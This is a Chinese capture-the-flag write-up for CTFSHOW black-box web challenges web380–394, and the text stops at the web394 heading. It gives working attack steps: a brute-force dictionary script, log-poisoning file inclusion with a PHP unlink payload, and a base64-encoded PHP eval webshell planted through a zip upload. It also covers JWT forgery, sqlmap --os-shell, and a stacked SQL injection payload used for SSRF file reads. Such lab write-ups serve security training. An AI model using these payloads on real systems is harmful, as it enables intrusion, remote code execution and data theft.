黑盒测试

web380

扫描目录

CTFSHOW-黑盒测试 - 图1

访问page.php

CTFSHOW-黑盒测试 - 图2

发现需要传入参数id并且打开了$id.php文件

目录还有一个flag.php 直接id传参flag

CTFSHOW-黑盒测试 - 图3

web381

前端信息泄露

CTFSHOW-黑盒测试 - 图4

访问即可获得flag

web382-383

上一关的后台 万能密码登录即可

CTFSHOW-黑盒测试 - 图5

web384

根据提示

CTFSHOW-黑盒测试 - 图6

生成爆破字典开始爆破

  1. import string
  2. s1=string.ascii_lowercase
  3. s2=string.digits
  4. f=open('dict.txt','w')
  5. for i in s1:
  6. for j in s1:
  7. for k in s2:
  8. for l in s2:
  9. for m in s2:
  10. p=i+j+k+l+m
  11. f.write(p+"\n")
  12. f.close()

密码为xy123

登录即可

web385

扫描目录

CTFSHOW-黑盒测试 - 图7

访问/install

CTFSHOW-黑盒测试 - 图8

重置密码 访问后台 admin admin888登录

CTFSHOW-黑盒测试 - 图9

web386

扫描目录

CTFSHOW-黑盒测试 - 图10

访问/install/发现已经安装

CTFSHOW-黑盒测试 - 图11

通过目录扫描 发现还有一个clear.php 盲猜参数file 删除install/lock.dat

CTFSHOW-黑盒测试 - 图12

重复上一关步骤即可

web387

扫描发现 debug目录

CTFSHOW-黑盒测试 - 图13

传入参数file=/etc/passwd 发现文件包含

包含日志文件/var/log/nginx/access.log

CTFSHOW-黑盒测试 - 图14

发现执行了php文件 但是仅仅只是写了页面内容 并无法执行(有点类似pear里的download命令)

所以执行删除安装文件

<?php unlink('/var/www/html/install/lock.dat')?>

重复上面的步骤

web388

扫描目录 发现editor

CTFSHOW-黑盒测试 - 图15

可以上传文件

同时/debug/?file= 是一个文件包含

传入一个zip文件

<?php
system('echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"|base64 -d  > /var/www/html/b.php');
?>

CTFSHOW-黑盒测试 - 图16

进行包含

CTFSHOW-黑盒测试 - 图17

访问/b.php 密码为 1

连接蚁剑

CTFSHOW-黑盒测试 - 图18

web389

继续上面的步骤

CTFSHOW-黑盒测试 - 图19

发现权限不足 查看cookie里面有auth字段

伪造jwt

放到脚本里跑secert

CTFSHOW-黑盒测试 - 图20

伪造 将user改为admin

CTFSHOW-黑盒测试 - 图21

替换auth字段发现成功伪造

CTFSHOW-黑盒测试 - 图22

重复上述步骤即可

web390

发现参数点 直接跑sqlmap

CTFSHOW-黑盒测试 - 图23

确认存在注入

直接—os-shell

CTFSHOW-黑盒测试 - 图24

web391

注入点

CTFSHOW-黑盒测试 - 图25

直接—os-shell

CTFSHOW-黑盒测试 - 图26

web392

注入点在title 直接放sqlmap 执行—os-shell命令

CTFSHOW-黑盒测试 - 图27

CTFSHOW-黑盒测试 - 图28

web393

CTFSHOW-黑盒测试 - 图29

发现搜索引擎一个类似ssrf的请求 但我们无法控制其访问的请求

发现一个sql注入

无法执行—os-shell 可以执行—sql-shell 存在堆叠注入

跑出数据

CTFSHOW-黑盒测试 - 图30

(借用一下大佬的图片,因为我的sqlmap实在是太慢了)

可以插入一条数据为:

insert into link values(10,'a','file:///flag');

payload:

search.php?title=1';insert into link values(10,'a','file:///flag');

这样可以利用ssrf执行file://协议读取出flag

访问id=10

web394